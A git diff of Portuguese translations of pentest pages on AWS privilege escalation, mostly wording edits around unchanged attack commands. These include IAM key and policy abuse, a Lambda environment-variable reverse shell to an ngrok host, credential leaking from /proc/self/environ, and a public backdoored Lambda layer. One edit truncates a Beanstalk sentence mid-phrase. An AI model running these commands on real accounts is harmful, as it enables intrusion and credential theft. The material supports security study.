@@ -15,7 +15,7 @@ Mais **informações sobre o Elastic Beanstalk** em:
 
 ### `elasticbeanstalk:RebuildEnvironment`, permissões de escrita no S3 e muitas outras
 
-Com **permissões de escrita sobre o bucket S3** que contém o **código** do ambiente e permissões para **reconstruir** a aplicação (é necessário `elasticbeanstalk:RebuildEnvironment` e mais algumas relacionadas a `S3`, `EC2` e `Cloudformation`), você pode **modificar** o **código**, **reconstruir** o app e, na próxima vez que acessar o app, ele **executará seu novo código**, permitindo que o atacante comprometa a aplicação e as credenciais da função IAM dela.
+Com **permissões de escrita sobre o bucket S3** que
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -32,7 +32,7 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
 ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, e mais...
 
-Os mencionados, além de várias permissões **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessários para criar um cenário básico do Elastic Beanstalk do zero.
+Os mencionados, além de várias permissões de **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessários para criar um cenário básico do Elastic Beanstalk do zero.
 
 - Criar uma aplicação AWS Elastic Beanstalk:
 ```bash
@@ -44,7 +44,7 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n
 ```
 Se um ambiente já foi criado e você **não quer criar um novo**, você pode apenas **atualizar** o existente.
 
-- Empacote seu código de aplicativo e dependências em um arquivo ZIP:
+- Empacote seu código de aplicação e dependências em um arquivo ZIP:
 ```python
 zip -r MyApp.zip .
 ```
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
 ```
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-Primeiro de tudo, você precisa criar um **ambiente Beanstalk legítimo** com o **código** que você gostaria de executar na **vítima**, seguindo os **passos anteriores**. Potencialmente, um simples **zip** contendo esses **2 arquivos**:
+Primeiramente, você precisa criar um **ambiente Beanstalk legítimo** com o **código** que você gostaria de executar na **vítima**, seguindo os **passos anteriores**. Potencialmente, um simples **zip** contendo esses **2 arquivos**:
 
 {{#tabs }}
 {{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-Uma vez que você tenha **seu próprio ambiente Beanstalk em execução** sua rev shell, é hora de **migrá-lo** para o ambiente dos **vítimas**. Para isso, você precisa **atualizar a Política do Bucket** do seu bucket S3 do beanstalk para que a **vítima possa acessá-lo** (Note que isso **abrirá** o Bucket para **TODOS**):
+Uma vez que você tenha **seu próprio ambiente Beanstalk rodando** seu rev shell, é hora de **migrá-lo** para o ambiente da **vítima**. Para isso, você precisa **atualizar a Política do Bucket** do seu bucket S3 do Beanstalk para que a **vítima possa acessá-lo** (Note que isso irá **abrir** o Bucket para **TODOS**):
 ```json
 {
 "Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index 3a2fadcfd..5fdbc9830 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -13,7 +13,7 @@ Mais **informações sobre EMR** em:
 ### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
 
 Um atacante com essas permissões pode **executar um novo cluster EMR anexando funções EC2** e tentar roubar suas credenciais.\
-Observe que, para fazer isso, você precisaria **conhecer alguma chave privativa ssh importada na conta** ou importar uma, e ser capaz de **abrir a porta 22 no nó mestre** (você pode ser capaz de fazer isso com os atributos `EmrManagedMasterSecurityGroup` e/ou `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
+Observe que, para fazer isso, você precisaria **conhecer alguma chave priv ssh importada na conta** ou importar uma, e ser capaz de **abrir a porta 22 no nó mestre** (você pode ser capaz de fazer isso com os atributos `EmrManagedMasterSecurityGroup` e/ou `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
 ```bash
 # Import EC2 ssh key (you will need extra permissions for this)
 ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -42,7 +42,7 @@ Note como um **papel EMR** é especificado em `--service-role` e um **papel ec2*
 
 ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
 
-Com essas permissões, um atacante pode ir para o **console AWS**, criar um Notebook e acessá-lo para roubar o Papel IAM.
+Com essas permissões, um atacante pode acessar a **AWS console**, criar um Notebook e acessá-lo para roubar o Papel IAM.
 
 > [!CAUTION]
 > Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index dff4c5075..6bb4600f3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,7 +4,7 @@
 
 ### `gamelift:RequestUploadCredentials`
 
-Com esta permissão, um atacante pode recuperar um **novo conjunto de credenciais para uso ao fazer upload** de um novo conjunto de arquivos de construção de jogos para o Amazon GameLift's Amazon S3. Ele retornará **credenciais de upload do S3**.
+Com esta permissão, um atacante pode recuperar um **novo conjunto de credenciais para uso ao fazer upload** de um novo conjunto de arquivos de build de jogo para o Amazon GameLift's Amazon S3. Ele retornará **credenciais de upload do S3**.
 ```bash
 aws gamelift request-upload-credentials \
 --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index 08c547e94..49b65d2d9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -29,21 +29,21 @@ Permite alterar a versão padrão de uma política IAM para outra versão existe
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**Impacto:** Escalação de privilégio indireta ao habilitar mais permissões.
+**Impacto:** Escalada de privilégios indireta ao habilitar mais permissões.
 
 ### **`iam:CreateAccessKey`**
 
-Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégio.
+Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégios.
 
 **Exploit:**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Impacto:** Escalação direta de privilégios ao assumir as permissões estendidas de outro usuário.
+**Impacto:** Escalada de privilégios direta ao assumir as permissões estendidas de outro usuário.
 
 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
 
-Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada direta de privilégios.
+Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada de privilégios direta.
 
 **Exploit para Criação:**
 ```bash
@@ -65,7 +65,7 @@ Permite habilitar uma chave de acesso desativada, potencialmente levando a acess
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-**Impacto:** Escalação direta de privilégios reativando chaves de acesso.
+**Impacto:** Escalação de privilégio direta ao reativar chaves de acesso.
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
@@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**Impacto:** Escalação direta de privilégios para qualquer coisa que a política concede.
+**Impacto:** Escalação de privilégio direta para qualquer coisa que a política concede.
 
 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
 
-Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada direta de privilégios ao conceder permissões adicionais.
+Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada de privilégio direta ao conceder permissões adicionais.
 
 **Exploit para Função:**
 ```bash
@@ -127,7 +127,7 @@ Você pode usar uma política como:
 ]
 }
 ```
-**Impacto:** Escalação direta de privilégios ao adicionar permissões através de políticas.
+**Impacto:** Escalação de privilégios direta ao adicionar permissões através de políticas.
 
 ### **`iam:AddUserToGroup`**
 
@@ -137,7 +137,7 @@ Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-**Impacto:** Escalação direta de privilégios para o nível das permissões do grupo.
+**Impacto:** Escalação de privilégios direta para o nível das permissões do grupo.
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
@@ -148,7 +148,7 @@ Permite alterar o documento da política de assumir função de uma função, po
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-Onde a política se parece com o seguinte, que concede ao usuário permissão para assumir a função:
+Onde a política se parece com a seguinte, que concede ao usuário permissão para assumir a função:
 ```json
 {
 "Version": "2012-10-17",
@@ -163,11 +163,11 @@ Onde a política se parece com o seguinte, que concede ao usuário permissão pa
 ]
 }
 ```
-**Impacto:** Escalação direta de privilégios ao assumir as permissões de qualquer função.
+**Impacto:** Escalação de privilégio direta ao assumir as permissões de qualquer função.
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada indireta de privilégios.
+Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégio indireta.
 
 **Exploit para Upload de Chave SSH:**
 ```bash
@@ -177,7 +177,7 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**Impacto:** Escalação de privilégio indireta ao habilitar o acesso ao CodeCommit ou desabilitar a proteção MFA.
+**Impacto:** Escalação de privilégio indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
 
 ### **`iam:ResyncMFADevice`**
 
@@ -194,7 +194,7 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
 
 Com essas permissões, você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **fazer login** com qualquer **papel que esteja confiando** nele.
 
-Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, para que você possa colocar o seu, fazer login e configurar o anterior de volta.
+Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, para que possa colocar o seu, fazer login e configurar o anterior de volta.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-(Inseguro sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar uma nova **Thumbprint** para conseguir fazer login em todos os papéis que confiam no provedor.
+(Incerto sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar uma nova **Thumbprint** para conseguir fazer login em todos os papéis que confiam no provedor.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 2f8ff0660..470ba47a1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -60,7 +60,7 @@ aws kms create-grant \
 > Uma concessão pode permitir apenas certos tipos de operações: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> Note que pode levar alguns minutos para que o KMS **permita que o usuário use a chave após a concessão ter sido gerada**. Uma vez que esse tempo tenha passado, o principal pode usar a chave KMS sem precisar especificar nada.\
+> Note que pode levar alguns minutos para o KMS **permitir que o usuário use a chave após a concessão ter sido gerada**. Uma vez que esse tempo tenha passado, o principal pode usar a chave KMS sem precisar especificar nada.\
 > No entanto, se for necessário usar a concessão imediatamente [use um token de concessão](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (verifique o código a seguir).\
 > Para [**mais informações leia isso**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
@@ -70,7 +70,7 @@ aws kms generate-data-key \
 –-key-spec AES_256 \
 --grant-tokens $token
 ```
-Note que é possível listar as concessões de chaves com:
+Observe que é possível listar as concessões de chaves com:
 ```bash
 aws kms list-grants --key-id <value>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index f27ab0b84..0c88ae8a9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -14,7 +14,7 @@ Mais informações sobre lambda em:
 
 Usuários com as permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** podem escalar seus privilégios.\
 Eles podem **criar uma nova função Lambda e atribuir a ela um papel IAM existente**, concedendo à função as permissões associadas a esse papel. O usuário pode então **escrever e fazer upload de código para essa função Lambda (com um rev shell, por exemplo)**.\
-Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API da AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\
+Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\
 
 Um atacante poderia abusar disso para obter um **rev shell e roubar o token**:
 ```python:rev.py
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-É também possível vazar as credenciais da função da lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isoladas em rede** usadas em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída da lambda.
+Também é possível vazar as credenciais da função do lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isolados em rede** usados em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída do lambda.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -92,7 +92,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
 Usuários com permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalar privilégios** mesmo sem `lambda:InvokeFunction`.\
 Eles podem criar uma **função Lambda com código malicioso e atribuí-la a um papel IAM existente**.
 
-Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um mapeamento de fonte de evento. Essa configuração garante que a função Lambda seja **acionada automaticamente ao inserir um novo item** na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões do papel IAM passado.
+Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um mapeamento de fonte de evento. Essa configuração garante que a função Lambda seja **ativada automaticamente ao inserir um novo item** na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões do papel IAM passado.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
@@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt
 
 #### RCE via variáveis de ambiente
 
-Com essas permissões, é possível adicionar variáveis de ambiente que farão com que o Lambda execute código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
+Com essas permissões, é possível adicionar variáveis de ambiente que farão o Lambda executar código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
@@ -175,9 +175,9 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
 
 #### RCE via Lambda Layers
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** na sua função lambda, mas **armazená-lo separadamente**, para que o código da função possa permanecer pequeno e **várias funções possam compartilhar código**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** na sua função lambda, mas **armazenando-o separadamente**, para que o código da função possa permanecer pequeno e **várias funções possam compartilhar código**.
 
-Dentro da lambda, você pode verificar os caminhos de onde o código python é carregado com uma função como a seguinte:
+Dentro do lambda, você pode verificar os caminhos de onde o código python é carregado com uma função como a seguinte:
 ```python
 import json
 import sys
@@ -202,7 +202,7 @@ Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4ª posiç
 
 #### Exploração
 
-É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda já esteja **usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá.
+É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda **já esteja usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá.
 
 Por exemplo, vamos supor que a lambda esteja usando a biblioteca boto3, isso criará uma camada local com a última versão da biblioteca:
 ```bash
@@ -215,7 +215,7 @@ Observe que você precisa criar uma pasta python e colocar as bibliotecas lá pa
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Agora, torne a camada lambda carregada **acessível por qualquer conta**:
+Agora, torne a camada lambda **acessível por qualquer conta**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
@@ -230,7 +230,7 @@ aws lambda update-function-configuration \
 ```
 O próximo passo seria **invocar a função** nós mesmos, se pudermos, ou esperar até que **ela seja invocada** por meios normais – que é o método mais seguro.
 
-Uma **maneira mais furtiva de explorar essa vulnerabilidade** pode ser encontrada em:
+Uma **maneira mais discreta de explorar essa vulnerabilidade** pode ser encontrada em:
 
 {{#ref}}
 ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -244,7 +244,7 @@ Talvez com essas permissões você consiga criar uma função e executá-la cham
 
 ### Lambda MitM
 
-Algumas lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrar as informações que outros usuários estão enviando para ela, confira em:
+Alguns lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em um deles, você pode exfiltrar as informações que outros usuários estão enviando para ele, confira em:
 
 {{#ref}}
 ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 73ddb6afe..62645eb1a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -35,7 +35,7 @@ Esta permissão permitirá que você obtenha uma chave para acessar o bucket:
 ```bash
 aws lightsail create-bucket-access-key --bucket-name <name>
 ```
-**Impacto Potencial:** Encontrar informações sensíveis dentro do bucket.
+**Impacto Potencial:** Encontre informações sensíveis dentro do bucket.
 
 ### `lightsail:GetRelationalDatabaseMasterUserPassword`
 
@@ -43,7 +43,7 @@ Esta permissão permitirá que você obtenha as credenciais para acessar o banco
 ```bash
 aws lightsail get-relational-database-master-user-password --relational-database-name <name>
 ```
-**Impacto Potencial:** Encontrar informações sensíveis dentro do banco de dados.
+**Impacto Potencial:** Encontre informações sensíveis dentro do banco de dados.
 
 ### `lightsail:UpdateRelationalDatabase`
 
@@ -115,7 +115,7 @@ aws update-container-service \
 
 ### `lightsail:CreateDomainEntry`
 
-Um atacante com esta permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
+Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
 ```bash
 aws lightsail create-domain-entry \
 --domain-name example.com \
@@ -125,7 +125,7 @@ aws lightsail create-domain-entry \
 
 ### `lightsail:UpdateDomainEntry`
 
-Um atacante com esta permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de controle do subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
+Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de controle do subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
 ```bash
 aws lightsail update-domain-entry \
 --domain-name example.com \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index 7b1a5b119..52d8b3271 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -36,7 +36,7 @@ Se um broker estiver usando **LDAP** para autorização com **ActiveMQ**. É pos
 aws mq list-brokers
 aws mq update-broker --broker-id <value> --ldap-server-metadata=...
 ```
-Se você conseguir de alguma forma encontrar as credenciais originais usadas pelo ActiveMQ, poderá realizar um MitM, roubar as credenciais, usá-las no servidor original e enviar a resposta (talvez apenas reutilizando as credenciais roubadas você consiga fazer isso).
+Se você conseguisse de alguma forma encontrar as credenciais originais usadas pelo ActiveMQ, poderia realizar um MitM, roubar as credenciais, usá-las no servidor original e enviar a resposta (talvez apenas reutilizando as credenciais roubadas você pudesse fazer isso).
 
 **Impacto Potencial:** Roubar credenciais do ActiveMQ
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index 93613f7cb..9d9e144d5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -4,7 +4,7 @@
 
 ## MSK
 
-Para mais informações sobre o MSK (Kafka), consulte:
+Para mais informações sobre MSK (Kafka), consulte:
 
 {{#ref}}
 ../aws-services/aws-msk-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
index 6d4e77c43..79f7bba25 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
@@ -13,6 +13,6 @@ Para mais informações, consulte:
 ## Da conta de gerenciamento para contas filhas
 
 Se você comprometer a conta root/gerenciamento, é provável que você possa comprometer todas as contas filhas.\
-Para [**aprender como, ver esta página**](../#compromising-the-organization).
+Para [**aprender como, verifique esta página**](../#compromising-the-organization).
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index 78840ec72..282091caa 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -42,13 +42,13 @@ De acordo com os [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGui
 > [!TIP]
 > Se ao executar **`SELECT datname FROM pg_database;`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados postgresql da AWS**.
 
-Primeiro, você pode verificar se este banco de dados foi usado para acessar qualquer outro serviço da AWS. Você pode verificar isso observando as extensões instaladas:
+Primeiro, você pode verificar se esse banco de dados foi usado para acessar algum outro serviço da AWS. Você pode verificar isso observando as extensões instaladas:
 ```sql
 SELECT * FROM pg_extension;
 ```
 Se você encontrar algo como **`aws_s3`**, pode assumir que este banco de dados tem **algum tipo de acesso ao S3** (existem outras extensões como **`aws_ml`** e **`aws_lambda`**).
 
-Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode ver lá se o **cluster tem algum IAM Role associado** no campo **`AssociatedRoles`**. Se houver, você pode assumir que o banco de dados foi **preparado para acessar outros serviços da AWS**. Com base no **nome da função** (ou se você conseguir obter as **permissões** da função), você poderia **adivinhar** que acesso extra o banco de dados possui.
+Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode ver lá se o **cluster tem algum IAM Role associado** no campo **`AssociatedRoles`**. Se houver, você pode assumir que o banco de dados foi **preparado para acessar outros serviços da AWS**. Com base no **nome da função** (ou se você puder obter as **permissões** da função), você poderia **adivinhar** que acesso extra o banco de dados possui.
 
 Agora, para **ler um arquivo dentro de um bucket**, você precisa saber o caminho completo. Você pode lê-lo com:
 ```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
 // Delete table
 DROP TABLE ttemp;
 ```
-Se você tivesse **credenciais AWS brutas**, também poderia usá-las para acessar dados do S3 com:
+Se você tivesse **credenciais brutas da AWS**, também poderia usá-las para acessar dados do S3 com:
 ```sql
 SELECT aws_s3.table_import_from_s3(
 't', '', '(format csv)',
@@ -127,7 +127,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 Um atacante com as permissões `rds:CreateDBInstance` e `iam:PassRole` pode **criar uma nova instância RDS com um papel especificado anexado**. O atacante pode então potencialmente **acessar dados sensíveis** ou modificar os dados dentro da instância.
 
 > [!WARNING]
-> Alguns requisitos do papel/perfil de instância a serem anexados (de [**aqui**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+> Alguns requisitos do papel/perfil da instância a serem anexados (de [**aqui**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
 
 > - O perfil deve existir em sua conta.
 > - O perfil deve ter um papel IAM que o Amazon EC2 tenha permissões para assumir.
@@ -139,7 +139,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
 
 ### `rds:AddRoleToDBInstance`, `iam:PassRole`
 
-Um atacante com as permissões `rds:AddRoleToDBInstance` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso poderia permitir que o atacante **acessasse dados sensíveis** ou modificasse os dados dentro da instância.
+Um atacante com as permissões `rds:AddRoleToDBInstance` e `iam:PassRole` pode **adicionar um papel especificado a uma instância RDS existente**. Isso pode permitir que o atacante **acesse dados sensíveis** ou modifique os dados dentro da instância.
 
 > [!WARNING]
 > A instância do DB deve estar fora de um cluster para isso
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
